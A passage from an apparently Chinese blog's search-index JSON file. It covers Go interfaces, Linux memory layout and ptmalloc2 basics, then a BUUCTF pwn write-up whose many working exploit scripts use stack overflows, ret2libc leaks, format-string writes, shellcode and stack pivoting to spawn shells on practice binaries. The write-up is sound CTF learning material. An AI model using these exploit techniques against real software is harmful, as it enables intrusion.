landed\\n",stardate(day))}\n\n满足接口\ngo标准库导出了很多只有单个方法的接口。\ngo通过简单的、通常只有单个方法的接口…..来鼓励组合而不是继承,这些接口在各个组件之间形成了简明易懂的界限。\n例如fmt包声明的Stringer接口type Stringer interface{\tString() string}\n\n后言\n参考书籍:Go语言趣学指南参考课程:Go语言编程快速入门(Golang)\n\n","categories":["编程"],"tags":["Go"]},{"title":"Ptmalloc2内存管理分析 基础知识","url":"/2024/10/26/pwn/ptmalloc2/p1/","content":"x86 平台 Linux 进程内存布局Linux 系统在装载 elf 格式的文件时,会调用 loader 把可执行文件中的各个段依次载入到从某一地址开始的空间中(载入地址取决 link editor(ld)和机器位数,在 32 位机器上是 0x8048000,即 128M 处。前提是没有pie保护)。\n如下图所示,以 32 位机器为例,首先被载入的是.text段,然后是.data 段,最后是.bss段。这可以看作是程序的开始空间。程序所能访问的最后的地址是 0xbfffffff,也就是到 3G 地址处,3G 以上的 1G 空间是内核使用的,应用程序不可以直接访问。应用程序的堆栈从最高地址处开始向下生长,.bss段与堆栈直接的空间是空闲的,空闲空间被分成两部分,一部分为 heap,一部分为 mmap 映射区域,mmap 映射区域一般从 TASK_SIZE/3 的地方开始,但在不同的 Linux 内核和机器上,mmap 区域的开始位置一般是不同的。Heap 和 mmap 区域都可以供用户自由使用,但是它在刚开始的时候并没有映射到内存空间内,是不可访问的。在向内核请求分配该空间之前,对这个空间的访问会导致 segmentation fault 。用户程序可以直接使用系统调用来管理 heap 和 mmap 映射区域,但更多的时候程序都是使用 C 语言提供的 malloc() 和 free() 函数来动态的分配和释放内存。Stack 区域是唯一不需要映射,用户却可以访问的内存区域,这也是利用堆栈溢出进行攻击的基础。\n32位模式下进程内存经典布局\n这种布局是 Linux 内核 2.6.7 以前的默认进程内存布局形式,mmap 区域与栈区域相对增长,这意味着堆只有 1GB 的虚拟空间可以使用,继续增长就会进入 mmap 映射区域,这显然不是我们想要的。这是由于 32 模式地址空间限制造成的,所以内核引入了另一种虚拟地址空间的布局形式,将在后面介绍。但对于 64 位系统,提供了巨大的虚拟地址空间,这种布局就相当好。\n32位模式下进行默认内存布局\n从上图可以看到,栈至顶向下扩展,并且栈是有界的。堆至底向上扩展,mmap 映射区域至顶向下扩展,mmap 映射区域和堆相对扩展,直至耗尽虚拟地址空间中的剩余区域,这种结构便于 C 运行时库使用 mmap 映射区域和堆进行内存分配。上图的布局形式是在内核 2.6.7 以后才引入的,这是 32 位模式下进程的默认内存布局形式。\n64位模式下进程内存布局对于 AMD64 系统,内存布局采用经典内存布局,text的起始地址为 0x00000000 00400000,堆紧接着 BSS 段向上增长,mmap 映射区域开始位置一般设为 TASK_SIZE/3 。\n\n计算一下可知,mmap 的开始区域地址为 0x00002AAAAAAAA000,栈顶地址为 0x00007FFF FFFFF000。\n\n上图是 x86_64 下 Linux 进程的默认内存布局形式,这只是一个示意图,当前内核默认配置下,进程的栈和 mmap 映射区域并不是从一个固定地址开始,并且每次启动时的值都不一样,这是程序在启动时随机改变这些指的设置,使得使用缓冲区溢出进行攻击更加困难。当然也可以让进程的栈和 mmap 映射区域从一个固定位置开始,只需要设置全局变量 randomize_va_space 值为0,默认为1.\n这在 pwn 中被称为 ASLR 保护。可以随机化堆栈、堆、动态链接库的地址。通过设置 /proc/sys/kernel/randomize_va_space 来修改特性\n操作系统内存分配的相关函数上文提到 heap 和 mmap 映射区域是可以提供给用户程序使用的虚拟内存空间,如何获得该区域的内存呢?操作系统提供了相关的系统调用来完成相关工作。对 heap 的操作,操作系统提供了 brk() 函数,C 运行时库提供了 sbrk()函数;对 mmap 映射区域的操作,操作系统提供了 mmap() 和 munmap() 函数。sbrk(),brk() 或者 mmap() 都可以用来向我们的进程添加额外的虚拟内存。Glibc 同样是使用这些函数向操作系统申请虚拟内存。\n\n这里要提到一个很重要的概念,内存的延迟分配,只有在真正访问一个地址的时候才建立这个地址的物理映射,这是 Linux 内存管理的基本思想之一。Linux 内核在用户申请内存的时候,只是给它分配了一个线性区(也就是虚拟内存),并没有分配实际物理内存;只有当用户使用这块内存的时候,内核才会分配具体的物理页面给用户,这时候才占用宝贵的物理内存。内核释放物理页面是通过释放线性区,找到其所对应的物理页面,将其全部释放的过程。\n\nHeap 操作相关函数Heap 操作函数主要有两个,brk() 为系统调用,sbrk() 为库函数。系统调用通常提供一种最小功能,而库函数通常提供比较复杂的功能。Glibc 的 malloc 函数族(realloc,calloc 等)就调用 sbrk() 函数将数据段的下界移动,sbrk() 函数在内核的管理下将虚拟地址空间映射到内存,供 malloc() 函数使用。\n内核数据结构 mm_struct 中的成员变量 start_code 和 end_code 是进程代码段的起始和终止地址,start_data 和 end_data 是进程数据段的起始和终止地址,start_stack 是进程堆栈段起始地址,start_brk 是进程动态内存分配起始地址(堆的起始地址),还有一个 brk (堆的当前最后地址),就是动态内存分配当前的终止地址。C 语言的动态内存分配基本函数是 malloc(),在 Linux 上的实现是通过内核的 brk 系统调用。brk()是一个非常简单的系统调用,知识简单地改变mm_struct 结构的成员变量 brk 的值。\n这两个函数的定义如下:\n#include <unistd.h>int brk(void *addr);void *sbrk(intptr_t increment);\n\n需要说明的是,但 sbrk() 的参数 increment 为0时,sbrk() 返回的是进程的当前 brk 值,increment 为正数时扩展 brk值,当 increment 为负值时收缩 brk 值。\nMmap 映射区域操作相关函数mmap() 函数将一个文件或者其它对象映射进内存。文件被映射到多个页上,如果文件的大小不是所有页的大小之和,最后一个页不被使用的空间将会清零。munmap 执行相反的操作,删除特定地址区域的对象映射。\n函数的定义如下:\n#include <sys/mman.h>void *mmap(void *addr,size_t length,int prot,int flags,int fd,off_t offset);int munmap(void *addr,size_t length);\n\n在这里不准备对这两个函数做详细介绍,只是对 ptmalloc 中用到的功能做一下介绍,其他的用法请参看相关资料。\n参数:\nstart:映射区的开始地址length:映射区的长度prot:期望的内存保护标志,不能与文件的打开模式冲突。是以下的某个值,可以通过 or 运算合理地组合在一起。Ptmalloc 中主要使用了如下的几个标志:\tPROT_EXEC\t\t页内容可以被执行,ptmalloc 中没有使用\tPROT_READ\t\t页内容可以被读取,ptmalloc 直接用 mmap 分配内存并立即返回给用户时设置该标志\tPROT_WRITE\t\t页内容可以被写入,ptmalloc 直接用 mmap 分配内存并立即返回给用户时设置该标志\tPROT_NONE\t\t页不可访问,ptmalloc 用 mmap 向系统 “批发” 一块内存进行管理时设置该标志flags:指定映射对象的类型,映射选项和映射页是否可以分享。它的值可以是一个或者多个以下位的组合体MAP_FIXED\t使用指定的映射起始地址,如果由 start 和 len 参数指定的内存区重叠于现存的映射区域,重叠部分将会被丢弃。如果指定的起始地址不可用,操作将会失败。并且起始地址必须落在页的边界上。Ptmalloc 在回收从系统中 “批发” 的内存时设置该标志MAP_PRIVATE\t建立一个写入时拷贝的私有映射。内存区域的写入不会影响到原文件。这个标志和以上标志是互斥的,只能使用其中一个。Ptmalloc 每次调用 mmap 都设置该标志。MAP_NORESERVE\t不要为这个映射保留交换空间。当交换空间被保留,对映射区修改的可能会得到保证。当交换空间不被保留,同时内存不足,对映射区的修改会引起段违例信号。Ptmalloc 向系统 “批发” 内存块时设置该标志。MAP_ANONYMOUS\t匿名映射,映射区不与任何文件关联。Ptmalloc 每次调用 mmap 都设置该标志。fd:有效的文件描述词。如果 MAP_ANONYMOUS 被设定,为了兼容问题,其值应为-1。offset:被映射对象内容的起点。\n","tags":["glibc"]},{"title":"BUUCTF pwn wp","url":"/2024/11/07/wp/buu/chapter1/","content":"前言\n关于BUUCTF的pwn题第一页的刷题笔记\n\ntest_your_nc#nc\n\nnc连上去\nexpcat flag\n\nrip#ret2text #栈平衡\n分析main函数,一眼栈溢出。\nint __fastcall main(int argc, const char **argv, const char **envp){ char s[15]; // [rsp+1h] [rbp-Fh] BYREF puts("please input"); gets(s, argv); puts(s); puts("ok,bye!!!"); return 0;}\n\n并且程序存在后门函数\nint fun(){ return system("/bin/sh");}\n\n在返回后门函数前,加一个ret指令保持栈平衡。\n\nexpfrom pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfret=0x401198payload=b'a'*23+p64(ret)+p64(0x401186)sl(payload)ia()\n\nwarmup_csaw_2016#ret2text\n程序中存在输出flag函数,指向使程序返回到flag函数即可。\nint sub_40060D(){ return system("cat flag.txt");}\n\n\nexp\n\nfrom pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elf payload=b'a'*72+p64(0x40060E)sl(payload)ia()\n\nciscn_2019_n_1#ret2text \n分析程序发现存在无限制栈溢出\nint func(){ char v1[44]; // [rsp+0h] [rbp-30h] BYREF float v2; // [rsp+2Ch] [rbp-4h] v2 = 0.0; puts("Let's guess the number."); gets(v1); if ( v2 == 11.28125 ) return system("cat /flag"); else return puts("Its value should be 11.28125");}\n\n直接打ret2text\nfrom pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elf payload=b'a'*44+p32(0x41348000) sl(payload) ia()\n\npwn1_sctf_2016#ret2text #cpp\nC++代码审计\n将I字符替换成you字符,1个字符替换为3个字符产生溢出。\nprintf("Tell me something about yourself: "); //从edata输入流中读取最多31个字符到input缓冲区。fgets(input, 32, edata); //将input中的内容赋值给一个 std::string 对象 ::input。//这是一个全局的 std::string对象。std::string::operator=(&::input, input); //创建一个 std::alloccator<char>对象v5。std::allocator 是一个内存//分配器,用于分配原始内存。std::allocator<char>::allocator(&v5); //使用v5分配器,将字符串you初始化为一个新的std::string对象v4std::string::string(v4, "you", &v5); //创建另一个std::allocator<char>对象v7std::allocator<char>::allocator(v7); //使用v7分配器,将字符串 I 初始化为另一个 std::string 对象v6std::string::string(v6, "I", v7); //调用一个名为 replace 的函数或方法,将字符串v3进行某种替换操作。replace(v3); //使用v6个v4中的值替换v3中的某些部分,然后将结果赋值给::inputstd::string::operator=(&::input, v3, v6, v4); //析构v3字符串对象,释放其占用的内存std::string::~string(v3); //析构v6字符串对象,释放其占用的内存std::string::~string(v6); //析构v7分配器对象,释放其管理的内存std::allocator<char>::~allocator(v7); //析构v4字符串对象,释放其占用的内存std::string::~string(v4); //析构v5分配器对象,释放其管理的内存std::allocator<char>::~allocator(&v5); //从::input获取C风格的字符串指针并赋值给v0v0 = std::string::c_str(&::input); //将v0中的字符串复制到input中strcpy(input, v0); //打印inputreturn printf("So, %s\\n", input);\n\n\nexp#!/usr/bin/python3from pwncli import *cli_script()io=gift["io"]elf=gift["elf"]sys=0x08048f0dpayload=b'I'*20+b'a'*4+p32(sys)sl(payload)ia()\n\njarvisoj_level0#ret2text #栈平衡\n通过gadget传参/bin/sh,然后执行system函数。\nret栈平衡\n#!/usr/bin/python3from pwncli import *cli_script()io=gift["io"]elf=gift["elf"]off=136sh=0x00400684sys=0x00400460rdi=0x0000000000400663ret=0x0000000000400431payload=b'a'*off+p64(rdi)+p64(sh)+p64(ret)+p64(sys)sl(payload)ia()\n\n[第五空间2019 决赛]PWN5#格式化字符串 \n\nexp1\n\nfrom pwn import *context.os = 'linux'context.arch = 'i386'#context.log_level = 'debug'io = process('./pwn')payload = p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+b'%10$n%11$n%12$n%13$n'io.sendline(payload)io.sendline(str(0x10101010))io.interactive()\n\n\nexp2\n\nfrom pwn import *io = process("./pwn")#io = remote("node4.buuoj.cn",25068)elf = ELF('./pwn')atoi_got = elf.got['atoi']system_plt = elf.plt['system']payload=fmtstr_payload(10,{atoi_got:system_plt})io.sendline(payload)io.sendline(b'/bin/sh\\x00')io.interactive()\n\njarvisoj_level2简单ret2text\nciscn_2019_n_8#变量覆盖通过溢出覆盖变量使变量满足条件拿到shell\nida的LL表示长整型值即8个字节,所以需要64位比较。\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfr()payload=b'a'*52+p64(17)s(payload)ia()\n\nbjdctf_2020_babystack#ret2textexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfr()rdi=0x0000000000400833ret=0x0000000000400561sh=0x00400858sys=elf.plt.systemsl(b'300')payload=b'a'*24+p64(rdi)+p64(sh)+p64(ret)+p64(sys)sa(b'name?\\n',payload)ia()\n\n\nciscn_2019_c_1#ret2libcexp\n#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elfmain=0x4009a0rbx_rbp=0x0000000000400aecrdi=0x0000000000400c83rsi_r15=0x0000000000400c81ret=0x00000000004006b9off=0x58payload=b'a'*off+p64(rdi)+p64(elf.got["puts"])+p64(elf.plt.puts)+p64(elf.sym["main"])ru("Input your choice!\\n")sl(b"1")ru("Input your Plaintext to be encrypted\\n")sl(payload)puts_addr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))success("puts_addr -> {:#x}".format(puts_addr))libc=LibcSearcher("puts",puts_addr)libc_base=puts_addr-libc.dump("puts")sh=libc_base+libc.dump("str_bin_sh")sys=libc_base+libc.dump("system")pay=b'a'*0x58+p64(rdi)+p64(sh)+p64(ret)+p64(sys)ru(b"Input your choice!\\n")sl(b"1")ru(b"Input your Plaintext to be encrypted\\n")sl(pay)ia()\n\nget_started_3dsctf_2016#ret2shellcode #调用mprotect修改内存权限\nexp\nfrom pwn import *pwnfile="./get_started_3dsctf_2016"io=process(pwnfile)elf=ELF(pwnfile)context(log_level="debug",arch="i386")mprotect_addr=elf.symbols["mprotect"]read=elf.symbols["read"]mem_addr=0x080Ea000mem_size=0x1000mem_proc=0x7#pop ebp; pop esi; pop edi; retpop_addr=0x0809e4c5payload=b"a"*0x38+p32(mprotect_addr)payload+=p32(pop_addr)payload+=p32(mem_addr)+p32(mem_size)+p32(mem_proc)payload+=p32(read)payload+=p32(pop_addr)payload+=p32(0)+p32(mem_addr)+p32(0x100)payload+=p32(mem_addr)io.sendline(payload)#pwntools生成shellcodepay=asm(shellcraft.sh())#也可以手写编码#pay="\\x6a\\x0b\\x58\\x99\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\xcd\\x80"io.sendline(pay)io.interactive()\n\njarvisoj_level2_x64简单ret2text\n[HarekazeCTF2019]baby_rop简单ret2text\nothers_shellcodenc连接\n[OGeek2019]babyrop#ret2libc #字符串截断\n32位ret2libc,LibcSearcher无法搜索到libc\n不过题目提供了libc\nexp\n#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc=ELF("./libc-2.23.so")payload=b'\\x00'+b'\\x99\\xff\\xff'+b'\\xff\\xff\\xff'+b'\\xff\\xff\\xff's(payload)payload=b'a'*(231+4)+p32(elf.plt.write)+p32(0x80487d0)+p32(0x1)+p32(elf.got.write)+p32(0xff)r()s(payload)pause()addr=u32(r(4))print(hex(addr))#libc=LibcSearcher("write",addr)#base=addr-libc.dump("write")#sys=base+libc.dump("system")#sh=base+libc.dump("str_bin_sh")base=addr-libc.sym.writesys=base+libc.sym.systemsh=base+next(libc.search("/bin/sh\\x00"))payload=b'a'*(231+4)+p32(sys)+p32(0)+p32(sh)s(payload)ia()\n\nciscn_2019_n_5简单ret2libc\nnot_the_same_3dsctf_2016#ret2shellcode \n程序为32位静态编译,没有栈溢出和pie保护\n程序中存在危险函数gets,并且text段存在mprotect函数\n我们可以通过执行mprotect函数修改内存权限\n再通过read函数将shellcode读入内存\n之后通过栈溢出返回地址执行shellcode\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfcontext.arch=elf.archp3=0x08050b45off=45mprotect=0x806ed40read=elf.sym.readaddr=0x80eb000payload=b'a'*offshellcode=asm(shellcraft.sh())payload+=p32(mprotect)+p32(p3)payload+=p32(addr)+p32(0x100)+p32(0x7)payload+=p32(read)+p32(p3)payload+=p32(0)+p32(addr)+p32(0x100)payload+=p32(addr)sl(payload)sl(shellcode)ia()\n\nciscn_2019_en_2exp\n#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elfoff=0x58r()sl("1")rdi=0x0000000000400c83ret=0x00000000004006b9payload=off*b'\\x00'+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(elf.sym.main)sl(payload)puts_addr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))libc=LibcSearcher("puts",puts_addr)base=puts_addr-libc.dump("puts")sys=base+libc.dump("system")sh=base+libc.dump("str_bin_sh")r()sl("1")payload=off*b'\\x00'+p64(rdi)+p64(sh)+p64(ret)+p64(sys)sl(payload)ia()\n\nciscn_2019_ne_5\n查保护\n\n发现程序为32位程序,没有canary和pie保护。\nArch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)\n\n\n分析\n\n由于程序将一个长字符串复制到一个短的字符数组中,所以产生了栈溢出\n并且程序中存在system函数和sh字符串可以通过ret2text进行利用\n\nexp\n\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfsh=0x080482ear()sl("administrator")r()sl("1")payload=b'a'*(0x48+4)+p32(elf.sym.system)+p32(elf.sym.main)+p32(sh)sl(payload)ru("0.Exit\\n:")sl("4")ia()\n\n铁人三项(第五赛区) _ 2018_rop#ret2libc #32位 \nexp\n#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elfcontext.arch=elf.archoff=0x8cpayload=b'a'*off+p32(elf.plt.write)+p32(elf.sym.main)+p32(1)+p32(elf.got["write"])+p32(0x20)sl(payload)write=u32(r(4))print(hex(write))libc=LibcSearcher("write",write)base=write-libc.dump("write")sh=base+libc.dump("str_bin_sh")sys=base+libc.dump("system")pay=b'a'*off+p32(sys)+p32(elf.sym.main)+p32(sh)r()sl(pay)ia()\n\nbjdctf_2020_babystack2#整数溢出 #ret2text \n在text段我们发现了backdoor函数。\n但是我们的第一个输入决定着接下来我们可以输入的数据长度。\n第一个输入如果大于有符号数的10,程序就会退出。\n但是在将第一个输入作为第二个输入的第三个参数时存在有符号数到无符号数的类型转换。\n如果我们第一个输入输入的是-1,就可以绕过限制,并且输入无限制的数据。\n所以我们第一此输入发送-1,第二次发送payload\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfru("name:\\n")sl("-1")ret=0x0000000000400599payload=b'a'*24+p64(0x40072A)r()sl(payload)ia()\n\nbjdctf_2020_babyrop#ret2libc \n简单ret2libc\nexp\n#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elfrdi=0x0000000000400733payload=b'a'*40+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(elf.sym.main)r()sl(payload)addr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))print(hex(addr))libc=LibcSearcher("puts",addr)base=addr-libc.dump("puts")sys=libc.dump("system")+basesh=libc.dump("str_bin_sh")+basepayload=b'a'*40+p64(rdi)+p64(sh)+p64(sys)sl(payload)ia()\n\njarvisoj_fm#格式化字符串 #任意地址写\n\n查保护\n\n分析\n\n\n利用%11$n,定位到了偏移为11的位置,往这个位置写入数据,写入的数据由%11$n前面的参数的长度决定,而我们的x参数的地址,正好是4位,\n\nexp\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfpayload=p32(0x804A02C)+b"%11$n"sl(payload)ia()\n\njarvisoj_tell_me_something\n查保护\n\n只有NX保护。\n➜ 11-01 checksec ./guestbook Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)\n\n\n分析\n\n分析主函数\n程序调用read可以向栈上输入0x100字节大小的数据,判断存在栈溢出。\nint __fastcall main(int argc, const char **argv, const char **envp){ __int64 v4; // [rsp+0h] [rbp-88h] BYREF write(1, "Input your message:\\n", 0x14uLL); read(0, &v4, 0x100uLL); return write(1, "I have received your message, Thank you!\\n", 0x29uLL);}\n\n函数表中发现函数good_game,函数打开了flag.txt文件并将其读入到了局部变量中,并且将内容一个字节一个字节的输出到标准输出。\nint good_game(){ FILE *v0; // rbx int result; // eax char buf[9]; // [rsp+Fh] [rbp-9h] BYREF v0 = fopen("flag.txt", "r"); while ( 1 ) { result = fgetc(v0); buf[0] = result; if ( result == 0xFF ) break; write(1, buf, 1uLL); } return result;}\n\n我们通过栈溢出让程序返回到good_game函数即可输出flag。\n\nexp\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfpayload=b'a'*136+p64(0x400620)r()s(payload)ia()\n\nciscn_2019_es_2#栈迁移 \n\n查保护\n\n分析\n\nexp\n\n\n#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elfleave = 0x080484B8system_addr = elf.symbols['system']s(b'a'*36 + b'bbbb')ru(b'bbbb')ebp = u32(r(4))print("ebp",hex(ebp))#ebp-0x28指向/bin/shpayload = (b'a'*4 + p32(system_addr) + b'a'*4 + p32(ebp-0x28) + b'/bin/sh\\x00').ljust(0x28, b'a')payload += p32(ebp-0x38) + p32(leave)s(payload)ia()\n[HarekazeCTF2019]baby_rop#ret2libc #printf_plt\n2.利用printf函数泄露libc地址,然后进行ret2libc\n将printf函数的第一个地址设置为程序中已有的格式化字符串。\n\nexp\n\n#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc=ELF("./libc.so.6")rdi=0x0000000000400733ret=0x00000000004004d1rsi_r15=0x0000000000400731arg1=0x400790payload=b'a'*40+p64(rdi)+p64(arg1)+p64(rsi_r15)+p64(elf.got.read)+p64(0)+p64(elf.plt.printf)+p64(0x400636)r()sl(payload)addr=u64(ru(b"\\x7f")[-6:].ljust(8,b"\\x00"))base=addr-libc.sym.readprint("base",hex(base))sys=base+libc.sym.systemsh=base+libc.search("/bin/sh\\x00").__next__()print("system",hex(sys))print("sh",hex(sh))payload=b'a'*40+p64(rdi)+p64(sh)+p64(ret)+p64(sys)sl(payload)ia()\n\npicoctf_2018_rop chain#ret2libc \n#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc=ELF("./libc.so.6")rdi=0x0000000000400733ret=0x00000000004004d1payload=b'a'*28+p32(elf.plt.puts)+p32(elf.sym.main)+p32(elf.got.puts)r()sl(payload)addr=u32(r(4))libc=LibcSearcher("puts",addr)base=addr-libc.dump("puts")sys=libc.dump("system")+basesh=base+libc.dump("str_bin_sh")payload=b'a'*28+p32(sys)+p32(elf.sym.main)+p32(sh)r()sl(payload)ia()\n\npwn2_sctf_2016#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc=ELF("/buu/32/libc-2.23.so")ru("read? ")sl("-1")off=48payload=b'a'*off+p32(elf.plt.printf)+p32(elf.sym.vuln)+p32(0x80486F8)+p32(elf.got.printf)ebx_esi_edi_ebp=0x0804864cint_80=0x080484d0r()sl(payload)ru("You said:")ru("You said: ")addr=u32(ru(b'\\xf7')[-4:])print("addr",hex(addr))ru("read? ")sl("-1")base=addr-libc.sym.printfsh=base+next(libc.search(b"/bin/sh\\x00"))sys=base+libc.sym.systempayload=b'a'*off+p32(sys)+b'a'*4+p32(sh)ru("data!\\n")sl(payload)ia()\n\njarvisoj_level3#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elfoff=140payload=b'a'*off+p32(elf.plt.write)+p32(elf.sym.main)+p32(1)+p32(elf.got["__libc_start_main"])+p32(4)r()sl(payload)addr=u32(ru(b'\\xf7')[-4:])print("addr",hex(addr))libc=ELF("/buu/32/libc-2.23.so")base=addr-libc.sym.__libc_start_mainsh=base+next(libc.search("/bin/sh\\x00"))sys=base+libc.sym.systempayload=b'a'*off+p32(sys)+p32(elf.sym.main)+p32(sh)r()s(payload)ia()\n\nciscn_2019_s_3#ret2syscall\n\n查保护\n\n分析\n\nexp\n\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfsyscall=0x0000000000400501rax=0x00000000004004E2ret=0x4003a9vul=0x4004edrdi=0x00000000004005a3#泄露栈地址payload=b'a'*0x10+p64(vul)s(payload)r(0x20)stack=u64(r(8))buf=stack-0x118#ret2csu payload=p64(ret)+b'/bin/sh\\x00'payload+=p64(rax)payload+=p64(0x40059a) #rdx=0payload+=p64(0)+p64(1) #rbx=0,rbp=1payload+=p64(buf)+p64(0)*3 #r12=buf_addrpayload+=p64(0x400580)payload+=p64(0)*7payload+=p64(rdi)+p64(buf+8)#rdi=/bin/shpayload+=p64(syscall)payload+=p64(vul)s(payload)ia()\n\nwustctf2020_getshell#ret2text \n代码段存在后门函数,直接打ret2text\n\nexpfrom pwn import *io=remote("node5.buuoj.cn",29410)sys=0x804851bpayload=b'a'*28+p32(sys)io.recv()io.sendline(payload)io.interactive()\n\n总结BUUCTF 第一页知识重点\n\nret2text以及栈平衡\nret2libc\nwrite函数泄露libc\nputs函数泄露libc\nprintf函数泄露libc\n\n\nret2shellcode,通过mprotect修改内存权限绕过NX\nret2syscall\nret2csu\n栈迁移\n格式化字符串\n泄露canary\n任意地址写\n\n\n整数溢出\n\n","categories":["wp"]}] \ No newline at end of file diff --git a/tags/C/index.html b/tags/C/index.html index 47bc2f199..41385d4a3 100644 --- a/tags/C/index.html +++ b/tags/C/index.html @@ -1,4 +1,4 @@ -标签: C | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/tags/Cpp/index.html b/tags/Cpp/index.html index 0c7bb84ce..81274572c 100644 --- a/tags/Cpp/index.html +++ b/tags/Cpp/index.html @@ -1,4 +1,4 @@ -标签: Cpp | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/tags/Go/index.html b/tags/Go/index.html index 51cb4c224..f6ccb9709 100644 --- a/tags/Go/index.html +++ b/tags/Go/index.html @@ -1,4 +1,4 @@ -标签: Go | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/tags/ROP/index.html b/tags/ROP/index.html index 7df9dc673..1c58bc2c0 100644 --- a/tags/ROP/index.html +++ b/tags/ROP/index.html @@ -1,4 +1,4 @@ -标签: ROP | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/tags/android/index.html b/tags/android/index.html index 351ec6fb3..9819866d1 100644 --- a/tags/android/index.html +++ b/tags/android/index.html @@ -1,4 +1,4 @@ -标签: android | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/tags/bypass/index.html b/tags/bypass/index.html index 745f6bcc9..783bbd439 100644 --- a/tags/bypass/index.html +++ b/tags/bypass/index.html @@ -1,4 +1,4 @@ -标签: bypass | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/tags/glibc/index.html b/tags/glibc/index.html index 60a6f6f57..56d8aaa83 100644 --- a/tags/glibc/index.html +++ b/tags/glibc/index.html @@ -1,4 +1,4 @@ -标签: glibc | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/tags/heap/index.html b/tags/heap/index.html index 4f8024078..a222dda50 100644 --- a/tags/heap/index.html +++ b/tags/heap/index.html @@ -1,4 +1,4 @@ -标签: heap | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/tags/java/index.html b/tags/java/index.html index 106f05163..3371a4a3f 100644 --- a/tags/java/index.html +++ b/tags/java/index.html @@ -1,4 +1,4 @@ -标签: java | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/tags/kernel/index.html b/tags/kernel/index.html index 8846d8f58..74debcd3d 100644 --- a/tags/kernel/index.html +++ b/tags/kernel/index.html @@ -1,4 +1,4 @@ -标签: kernel | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/tags/pwn/index.html b/tags/pwn/index.html index 8831dc85f..dc458434b 100644 --- a/tags/pwn/index.html +++ b/tags/pwn/index.html @@ -1,4 +1,4 @@ -标签: pwn | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git "a/tags/\345\212\240\345\257\206\347\256\227\346\263\225/index.html" "b/tags/\345\212\240\345\257\206\347\256\227\346\263\225/index.html" index e6f98b719..2c5ddbc89 100644 --- "a/tags/\345\212\240\345\257\206\347\256\227\346\263\225/index.html" +++ "b/tags/\345\212\240\345\257\206\347\256\227\346\263\225/index.html" @@ -1,4 +1,4 @@ -标签: 加密算法 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git "a/tags/\345\217\215\350\260\203\350\257\225/index.html" "b/tags/\345\217\215\350\260\203\350\257\225/index.html" index 5a3129589..23112db8b 100644 --- "a/tags/\345\217\215\350\260\203\350\257\225/index.html" +++ "b/tags/\345\217\215\350\260\203\350\257\225/index.html" @@ -1,4 +1,4 @@ -标签: 反调试 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
